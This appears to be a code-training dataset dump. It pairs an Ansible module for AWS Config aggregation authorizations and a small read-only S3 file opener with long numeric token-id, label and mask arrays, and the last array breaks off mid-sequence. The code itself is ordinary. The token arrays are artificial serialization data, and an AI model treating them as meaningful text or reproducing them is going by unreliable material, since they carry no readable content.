resource_exists(client, module, params): try: current_authorizations = client.describe_aggregation_authorizations()['AggregationAuthorizations'] authorization_exists = next( (item for item in current_authorizations if item["AuthorizedAccountId"] == params['AuthorizedAccountId']), None ) if authorization_exists: return True except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError): return False def create_resource(client, module, params, result): try: response = client.put_aggregation_authorization( AuthorizedAccountId=params['AuthorizedAccountId'], AuthorizedAwsRegion=params['AuthorizedAwsRegion'] ) result['changed'] = True return result except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e: module.fail_json_aws(e, msg="Couldn't create AWS Aggregation authorization") def update_resource(client, module, params, result): current_authorizations = client.describe_aggregation_authorizations()['AggregationAuthorizations'] current_params = next( (item for item in current_authorizations if item["AuthorizedAccountId"] == params['AuthorizedAccountId']), None ) del current_params['AggregationAuthorizationArn'] del current_params['CreationTime'] if params != current_params: try: response = client.put_aggregation_authorization( AuthorizedAccountId=params['AuthorizedAccountId'], AuthorizedAwsRegion=params['AuthorizedAwsRegion'] ) result['changed'] = True return result except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e: module.fail_json_aws(e, msg="Couldn't create AWS Aggregation authorization") def delete_resource(client, module, params, result): try: response = client.delete_aggregation_authorization( AuthorizedAccountId=params['AuthorizedAccountId'], AuthorizedAwsRegion=params['AuthorizedAwsRegion'] ) result['changed'] = True return result except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e: module.fail_json_aws(e, msg="Couldn't delete AWS Aggregation authorization") def main(): module = AnsibleAWSModule( argument_spec={ 'state': dict(type='str', choices=['present', 'absent'], default='present'), 'authorized_account_id': dict(type='str', required=True), 'authorized_aws_region': dict(type='str', required=True), }, supports_check_mode=False, ) result = {'changed': False} params = { 'AuthorizedAccountId': module.params.get('authorized_account_id'), 'AuthorizedAwsRegion': module.params.get('authorized_aws_region'), } client = module.client('config', retry_decorator=AWSRetry.jittered_backoff()) resource_status = resource_exists(client, module, params) if module.params.get('state') == 'present': if not resource_status: create_resource(client, module, params, result) else: update_resource(client, module, params, result) if module.params.get('state') == 'absent': if resource_status: delete_resource(client, module, params, result) module.exit_json(changed=result['changed']) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 199, 3, 1898, 26, 334, 67, 9, 14894, 12, 437, 285, 265, 25924, 665, 9091, 3300, 448, 709, 16706, 32, 6799, 14, 957, 30, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 519, 2344, 199, 2595, 199, 578, 26, 11488, 63, 888, 63, 21016, 63, 15846, 199, 3612, 63, 1802, 26, 14944, 8059, 13, 2048, 10168, 4094, 4132, 12270, 199, 1802, 26, 272, 446, 5673, 31965, 10168, 4094, 5944, 199, 1023, 63, 3270, 26, 298, 18, 14, 22, 2, 199, 7538, 26, 359, 283, 10914, 1018, 297, 283, 10914, 19, 7, 1622, 199, 2502, 26, 272, 446, 298, 33, 285, 265, 25924, 8593, 83, 4762, 7586, 2924, 199, 1419, 26, 523, 1174, 26, 272, 1369, 26, 272, 446, 7480, 314, 4094, 2332, 1077, 506, 3451, 503, 9552, 14, 272, 849, 26, 3451, 272, 3415, 26, 788, 1881, 297, 283, 5575, 418, 523, 18788, 63, 2048, 63, 344, 26, 272, 1369, 26, 272, 446, 710, 3144, 13, 8573, 2933, 2870, 402, 314, 2933, 18788, 370, 9531, 666, 14, 523, 18788, 63, 7231, 63, 4551, 26, 272, 1369, 26, 272, 446, 710, 4897, 18788, 370, 8775, 26913, 666, 14, 199, 11036, 63, 9970, 63, 7677, 26, 523, 446, 11488, 523, 446, 7062, 18, 199, 2344, 199, 199, 8918, 275, 519, 2344, 199, 13, 536, 26, 2372, 1453, 2933, 2870, 523, 11488, 63, 11219, 63, 5047, 26, 523, 2274, 26, 3963, 13496, 199, 13, 11488, 63, 888, 63, 21016, 63, 15846, 26, 272, 1174, 26, 3451, 272, 18788, 63, 2048, 63, 344, 26, 11400, 3963, 13496, 14, 2048, 16339, 272, 4132, 7068, 63, 7231, 63, 4551, 26, 2739, 13, 14346, 13, 17, 199, 2344, 199, 199, 9677, 275, 519, 2344, 3, 2344, 421, 199, 893, 26, 272, 492, 21199, 272, 687, 21199, 14, 3924, 492, 24411, 5402, 547, 12, 28972, 199, 2590, 3545, 26, 272, 986, 221, 327, 8860, 701, 2622, 13226, 2377, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 7231, 14, 1018, 492, 2622, 13226, 2377, 199, 504, 3242, 14, 578, 63, 1208, 14, 825, 18, 492, 6055, 19, 63, 1631, 12, 664, 63, 7231, 63, 2105, 63, 815, 12, 10168, 12989, 199, 504, 3242, 14, 578, 63, 1208, 14, 825, 18, 492, 31129, 63, 807, 63, 475, 63, 21415, 63, 807, 12, 6055, 19, 63, 1450, 63, 513, 63, 475, 63, 4853, 63, 807, 421, 199, 318, 2073, 63, 2444, 8, 1258, 12, 859, 12, 1862, 304, 272, 862, 26, 267, 1453, 63, 2502, 12270, 275, 1890, 14, 11935, 63, 21016, 63, 2502, 12270, 12047, 31345, 2817, 5546, 1298, 418, 267, 13448, 63, 2444, 275, 2163, 8, 288, 334, 1053, 367, 1242, 315, 1453, 63, 2502, 12270, 340, 1242, 905, 29284, 6009, 1304, 937, 508, 1862, 459, 29284, 6009, 1304, 3815, 288, 488, 267, 776, 267, 340, 13448, 63, 2444, 26, 288, 372, 715, 272, 871, 334, 10914, 1018, 14, 3924, 14, 19992, 12, 21199, 14, 3924, 14, 20380, 5402, 547, 304, 267, 372, 756, 421, 199, 318, 1218, 63, 1927, 8, 1258, 12, 859, 12, 1862, 12, 754, 304, 272, 862, 26, 267, 1177, 275, 1890, 14, 524, 63, 21016, 63, 15846, 8, 288, 6529, 1759, 6009, 1304, 29, 1162, 459, 29284, 6009, 1304, 995, 288, 6529, 1759, 33, 3569, 10708, 29, 1162, 459, 29284, 33, 3569, 10708, 418, 267, 776, 267, 754, 459, 2489, 418, 275, 715, 267, 372, 754, 272, 871, 334, 10914, 1018, 14, 3924, 14, 19992, 12, 21199, 14, 3924, 14, 20380, 5402, 547, 9, 465, 325, 26, 267, 859, 14, 1633, 63, 1001, 63, 7231, 8, 69, 12, 1499, 628, 20485, 1133, 1218, 10168, 21369, 425, 13448, 531, 421, 199, 318, 1678, 63, 1927, 8, 1258, 12, 859, 12, 1862, 12, 754, 304, 272, 1453, 63, 2502, 12270, 275, 1890, 14, 11935, 63, 21016, 63, 2502, 12270, 12047, 31345, 2817, 5546, 1298, 418, 272, 1453, 63, 1162, 275, 2163, 8, 267, 334, 1053, 367, 1242, 315, 1453, 63, 2502, 12270, 340, 1242, 905, 29284, 6009, 1304, 937, 508, 1862, 459, 29284, 6009, 1304, 3815, 267, 488, 272, 776, 339, 2150, 1453, 63, 1162, 459, 31345, 11626, 20498, 418, 272, 2150, 1453, 63, 1162, 459, 13921, 1366, 418, 339, 340, 1862, 1137, 1453, 63, 1162, 26, 267, 862, 26, 288, 1177, 275, 1890, 14, 524, 63, 21016, 63, 15846, 8, 355, 6529, 1759, 6009, 1304, 29, 1162, 459, 29284, 6009, 1304, 995, 355, 6529, 1759, 33, 3569, 10708, 29, 1162, 459, 29284, 33, 3569, 10708, 418, 288, 776, 288, 754, 459, 2489, 418, 275, 715, 288, 372, 754, 267, 871, 334, 10914, 1018, 14, 3924, 14, 19992, 12, 21199, 14, 3924, 14, 20380, 5402, 547, 9, 465, 325, 26, 288, 859, 14, 1633, 63, 1001, 63, 7231, 8, 69, 12, 1499, 628, 20485, 1133, 1218, 10168, 21369, 425, 13448, 531, 421, 199, 318, 3145, 63, 1927, 8, 1258, 12, 859, 12, 1862, 12, 754, 304, 272, 862, 26, 267, 1177, 275, 1890, 14, 1807, 63, 21016, 63, 15846, 8, 288, 6529, 1759, 6009, 1304, 29, 1162, 459, 29284, 6009, 1304, 995, 288, 6529, 1759, 33, 3569, 10708, 29, 1162, 459, 29284, 33, 3569, 10708, 418, 267, 776, 267, 754, 459, 2489, 418, 275, 715, 267, 372, 754, 272, 871, 334, 10914, 1018, 14, 3924, 14, 19992, 12, 21199, 14, 3924, 14, 20380, 5402, 547, 9, 465, 325, 26, 267, 859, 14, 1633, 63, 1001, 63, 7231, 8, 69, 12, 1499, 628, 20485, 1133, 3145, 10168, 21369, 425, 13448, 531, 421, 199, 318, 2446, 837, 272, 859, 275, 2622, 13226, 2377, 8, 267, 1423, 63, 1650, 3126, 288, 283, 929, 356, 1211, 8, 466, 534, 495, 297, 3415, 2968, 1881, 297, 283, 5575, 995, 849, 534, 1881, 659, 288 ]
[ 2647, 15, 1393, 15, 1548, 199, 199, 3, 1898, 26, 334, 67, 9, 14894, 12, 437, 285, 265, 25924, 665, 9091, 3300, 448, 709, 16706, 32, 6799, 14, 957, 30, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 519, 2344, 199, 2595, 199, 578, 26, 11488, 63, 888, 63, 21016, 63, 15846, 199, 3612, 63, 1802, 26, 14944, 8059, 13, 2048, 10168, 4094, 4132, 12270, 199, 1802, 26, 272, 446, 5673, 31965, 10168, 4094, 5944, 199, 1023, 63, 3270, 26, 298, 18, 14, 22, 2, 199, 7538, 26, 359, 283, 10914, 1018, 297, 283, 10914, 19, 7, 1622, 199, 2502, 26, 272, 446, 298, 33, 285, 265, 25924, 8593, 83, 4762, 7586, 2924, 199, 1419, 26, 523, 1174, 26, 272, 1369, 26, 272, 446, 7480, 314, 4094, 2332, 1077, 506, 3451, 503, 9552, 14, 272, 849, 26, 3451, 272, 3415, 26, 788, 1881, 297, 283, 5575, 418, 523, 18788, 63, 2048, 63, 344, 26, 272, 1369, 26, 272, 446, 710, 3144, 13, 8573, 2933, 2870, 402, 314, 2933, 18788, 370, 9531, 666, 14, 523, 18788, 63, 7231, 63, 4551, 26, 272, 1369, 26, 272, 446, 710, 4897, 18788, 370, 8775, 26913, 666, 14, 199, 11036, 63, 9970, 63, 7677, 26, 523, 446, 11488, 523, 446, 7062, 18, 199, 2344, 199, 199, 8918, 275, 519, 2344, 199, 13, 536, 26, 2372, 1453, 2933, 2870, 523, 11488, 63, 11219, 63, 5047, 26, 523, 2274, 26, 3963, 13496, 199, 13, 11488, 63, 888, 63, 21016, 63, 15846, 26, 272, 1174, 26, 3451, 272, 18788, 63, 2048, 63, 344, 26, 11400, 3963, 13496, 14, 2048, 16339, 272, 4132, 7068, 63, 7231, 63, 4551, 26, 2739, 13, 14346, 13, 17, 199, 2344, 199, 199, 9677, 275, 519, 2344, 3, 2344, 421, 199, 893, 26, 272, 492, 21199, 272, 687, 21199, 14, 3924, 492, 24411, 5402, 547, 12, 28972, 199, 2590, 3545, 26, 272, 986, 221, 327, 8860, 701, 2622, 13226, 2377, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 7231, 14, 1018, 492, 2622, 13226, 2377, 199, 504, 3242, 14, 578, 63, 1208, 14, 825, 18, 492, 6055, 19, 63, 1631, 12, 664, 63, 7231, 63, 2105, 63, 815, 12, 10168, 12989, 199, 504, 3242, 14, 578, 63, 1208, 14, 825, 18, 492, 31129, 63, 807, 63, 475, 63, 21415, 63, 807, 12, 6055, 19, 63, 1450, 63, 513, 63, 475, 63, 4853, 63, 807, 421, 199, 318, 2073, 63, 2444, 8, 1258, 12, 859, 12, 1862, 304, 272, 862, 26, 267, 1453, 63, 2502, 12270, 275, 1890, 14, 11935, 63, 21016, 63, 2502, 12270, 12047, 31345, 2817, 5546, 1298, 418, 267, 13448, 63, 2444, 275, 2163, 8, 288, 334, 1053, 367, 1242, 315, 1453, 63, 2502, 12270, 340, 1242, 905, 29284, 6009, 1304, 937, 508, 1862, 459, 29284, 6009, 1304, 3815, 288, 488, 267, 776, 267, 340, 13448, 63, 2444, 26, 288, 372, 715, 272, 871, 334, 10914, 1018, 14, 3924, 14, 19992, 12, 21199, 14, 3924, 14, 20380, 5402, 547, 304, 267, 372, 756, 421, 199, 318, 1218, 63, 1927, 8, 1258, 12, 859, 12, 1862, 12, 754, 304, 272, 862, 26, 267, 1177, 275, 1890, 14, 524, 63, 21016, 63, 15846, 8, 288, 6529, 1759, 6009, 1304, 29, 1162, 459, 29284, 6009, 1304, 995, 288, 6529, 1759, 33, 3569, 10708, 29, 1162, 459, 29284, 33, 3569, 10708, 418, 267, 776, 267, 754, 459, 2489, 418, 275, 715, 267, 372, 754, 272, 871, 334, 10914, 1018, 14, 3924, 14, 19992, 12, 21199, 14, 3924, 14, 20380, 5402, 547, 9, 465, 325, 26, 267, 859, 14, 1633, 63, 1001, 63, 7231, 8, 69, 12, 1499, 628, 20485, 1133, 1218, 10168, 21369, 425, 13448, 531, 421, 199, 318, 1678, 63, 1927, 8, 1258, 12, 859, 12, 1862, 12, 754, 304, 272, 1453, 63, 2502, 12270, 275, 1890, 14, 11935, 63, 21016, 63, 2502, 12270, 12047, 31345, 2817, 5546, 1298, 418, 272, 1453, 63, 1162, 275, 2163, 8, 267, 334, 1053, 367, 1242, 315, 1453, 63, 2502, 12270, 340, 1242, 905, 29284, 6009, 1304, 937, 508, 1862, 459, 29284, 6009, 1304, 3815, 267, 488, 272, 776, 339, 2150, 1453, 63, 1162, 459, 31345, 11626, 20498, 418, 272, 2150, 1453, 63, 1162, 459, 13921, 1366, 418, 339, 340, 1862, 1137, 1453, 63, 1162, 26, 267, 862, 26, 288, 1177, 275, 1890, 14, 524, 63, 21016, 63, 15846, 8, 355, 6529, 1759, 6009, 1304, 29, 1162, 459, 29284, 6009, 1304, 995, 355, 6529, 1759, 33, 3569, 10708, 29, 1162, 459, 29284, 33, 3569, 10708, 418, 288, 776, 288, 754, 459, 2489, 418, 275, 715, 288, 372, 754, 267, 871, 334, 10914, 1018, 14, 3924, 14, 19992, 12, 21199, 14, 3924, 14, 20380, 5402, 547, 9, 465, 325, 26, 288, 859, 14, 1633, 63, 1001, 63, 7231, 8, 69, 12, 1499, 628, 20485, 1133, 1218, 10168, 21369, 425, 13448, 531, 421, 199, 318, 3145, 63, 1927, 8, 1258, 12, 859, 12, 1862, 12, 754, 304, 272, 862, 26, 267, 1177, 275, 1890, 14, 1807, 63, 21016, 63, 15846, 8, 288, 6529, 1759, 6009, 1304, 29, 1162, 459, 29284, 6009, 1304, 995, 288, 6529, 1759, 33, 3569, 10708, 29, 1162, 459, 29284, 33, 3569, 10708, 418, 267, 776, 267, 754, 459, 2489, 418, 275, 715, 267, 372, 754, 272, 871, 334, 10914, 1018, 14, 3924, 14, 19992, 12, 21199, 14, 3924, 14, 20380, 5402, 547, 9, 465, 325, 26, 267, 859, 14, 1633, 63, 1001, 63, 7231, 8, 69, 12, 1499, 628, 20485, 1133, 3145, 10168, 21369, 425, 13448, 531, 421, 199, 318, 2446, 837, 272, 859, 275, 2622, 13226, 2377, 8, 267, 1423, 63, 1650, 3126, 288, 283, 929, 356, 1211, 8, 466, 534, 495, 297, 3415, 2968, 1881, 297, 283, 5575, 995, 849, 534, 1881, 659, 288, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
selassid/canopener
canopener/s3file.py
1
1324
# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import unicode_literals try: from urllib.parse import urlparse except ImportError: from urlparse import urlparse import tempfile from boto.s3.connection import S3Connection def make_s3_connection(aws_access_key_id=None, aws_secret_access_key=None): """Mockable point for creating S3Connections.""" return S3Connection( aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key, ) class s3file(object): def __new__( cls, filename, mode='r', aws_access_key_id=None, aws_secret_access_key=None, ): """Opens a local copy of an S3 URL.""" parse = urlparse(filename) if 'w' in mode: raise ValueError("can't write to S3") if parse.scheme != 's3': raise ValueError("s3file can't open non-S3 URLs") conn = make_s3_connection( aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key, ) bucket = conn.get_bucket(parse.netloc) key = bucket.get_key(parse.path) local_file = tempfile.TemporaryFile() key.get_contents_to_file(local_file) local_file.seek(0) return local_file
bsd-2-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 893, 26, 272, 687, 4011, 14, 1122, 492, 7097, 199, 2590, 3545, 26, 272, 687, 7097, 492, 7097, 199, 199, 646, 5549, 199, 199, 504, 6055, 14, 83, 19, 14, 2105, 492, 428, 19, 3225, 421, 199, 318, 1852, 63, 83, 19, 63, 2105, 8, 7231, 63, 2732, 63, 498, 63, 344, 29, 403, 12, 11488, 63, 4731, 63, 2732, 63, 498, 29, 403, 304, 272, 408, 3346, 461, 2376, 367, 6425, 428, 19, 22122, 1041, 272, 372, 428, 19, 3225, 8, 267, 11488, 63, 2732, 63, 498, 63, 344, 29, 7231, 63, 2732, 63, 498, 63, 344, 12, 267, 11488, 63, 4731, 63, 2732, 63, 498, 29, 7231, 63, 4731, 63, 2732, 63, 498, 12, 272, 776, 421, 199, 533, 308, 19, 493, 8, 785, 304, 272, 347, 636, 1222, 721, 267, 843, 12, 267, 1788, 12, 267, 818, 534, 82, 297, 267, 11488, 63, 2732, 63, 498, 63, 344, 29, 403, 12, 267, 11488, 63, 4731, 63, 2732, 63, 498, 29, 403, 12, 272, 3461, 267, 408, 4299, 83, 282, 2257, 1331, 402, 376, 428, 19, 2851, 1041, 267, 2198, 275, 7097, 8, 1501, 9, 267, 340, 283, 87, 7, 315, 818, 26, 288, 746, 1722, 480, 2425, 1133, 2218, 370, 428, 19, 531, 267, 340, 2198, 14, 5512, 1137, 283, 83, 19, 356, 288, 746, 1722, 480, 83, 19, 493, 883, 1133, 1551, 2222, 13, 51, 19, 10867, 531, 398, 2557, 275, 1852, 63, 83, 19, 63, 2105, 8, 288, 11488, 63, 2732, 63, 498, 63, 344, 29, 7231, 63, 2732, 63, 498, 63, 344, 12, 288, 11488, 63, 4731, 63, 2732, 63, 498, 29, 7231, 63, 4731, 63, 2732, 63, 498, 12, 267, 776, 267, 5315, 275, 2557, 14, 362, 63, 4623, 8, 1122, 14, 12652, 9, 267, 790, 275, 5315, 14, 362, 63, 498, 8, 1122, 14, 515, 9, 398, 2257, 63, 493, 275, 5549, 14, 13271, 342, 267, 790, 14, 362, 63, 4407, 63, 475, 63, 493, 8, 1832, 63, 493, 9, 267, 2257, 63, 493, 14, 5507, 8, 16, 9, 267, 372, 2257, 63, 493, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 893, 26, 272, 687, 4011, 14, 1122, 492, 7097, 199, 2590, 3545, 26, 272, 687, 7097, 492, 7097, 199, 199, 646, 5549, 199, 199, 504, 6055, 14, 83, 19, 14, 2105, 492, 428, 19, 3225, 421, 199, 318, 1852, 63, 83, 19, 63, 2105, 8, 7231, 63, 2732, 63, 498, 63, 344, 29, 403, 12, 11488, 63, 4731, 63, 2732, 63, 498, 29, 403, 304, 272, 408, 3346, 461, 2376, 367, 6425, 428, 19, 22122, 1041, 272, 372, 428, 19, 3225, 8, 267, 11488, 63, 2732, 63, 498, 63, 344, 29, 7231, 63, 2732, 63, 498, 63, 344, 12, 267, 11488, 63, 4731, 63, 2732, 63, 498, 29, 7231, 63, 4731, 63, 2732, 63, 498, 12, 272, 776, 421, 199, 533, 308, 19, 493, 8, 785, 304, 272, 347, 636, 1222, 721, 267, 843, 12, 267, 1788, 12, 267, 818, 534, 82, 297, 267, 11488, 63, 2732, 63, 498, 63, 344, 29, 403, 12, 267, 11488, 63, 4731, 63, 2732, 63, 498, 29, 403, 12, 272, 3461, 267, 408, 4299, 83, 282, 2257, 1331, 402, 376, 428, 19, 2851, 1041, 267, 2198, 275, 7097, 8, 1501, 9, 267, 340, 283, 87, 7, 315, 818, 26, 288, 746, 1722, 480, 2425, 1133, 2218, 370, 428, 19, 531, 267, 340, 2198, 14, 5512, 1137, 283, 83, 19, 356, 288, 746, 1722, 480, 83, 19, 493, 883, 1133, 1551, 2222, 13, 51, 19, 10867, 531, 398, 2557, 275, 1852, 63, 83, 19, 63, 2105, 8, 288, 11488, 63, 2732, 63, 498, 63, 344, 29, 7231, 63, 2732, 63, 498, 63, 344, 12, 288, 11488, 63, 4731, 63, 2732, 63, 498, 29, 7231, 63, 4731, 63, 2732, 63, 498, 12, 267, 776, 267, 5315, 275, 2557, 14, 362, 63, 4623, 8, 1122, 14, 12652, 9, 267, 790, 275, 5315, 14, 362, 63, 498, 8, 1122, 14, 515, 9, 398, 2257, 63, 493, 275, 5549, 14, 13271, 342, 267, 790, 14, 362, 63, 4407, 63, 475, 63, 493, 8, 1832, 63, 493, 9, 267, 2257, 63, 493, 14, 5507, 8, 16, 9, 267, 372, 2257, 63, 493, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 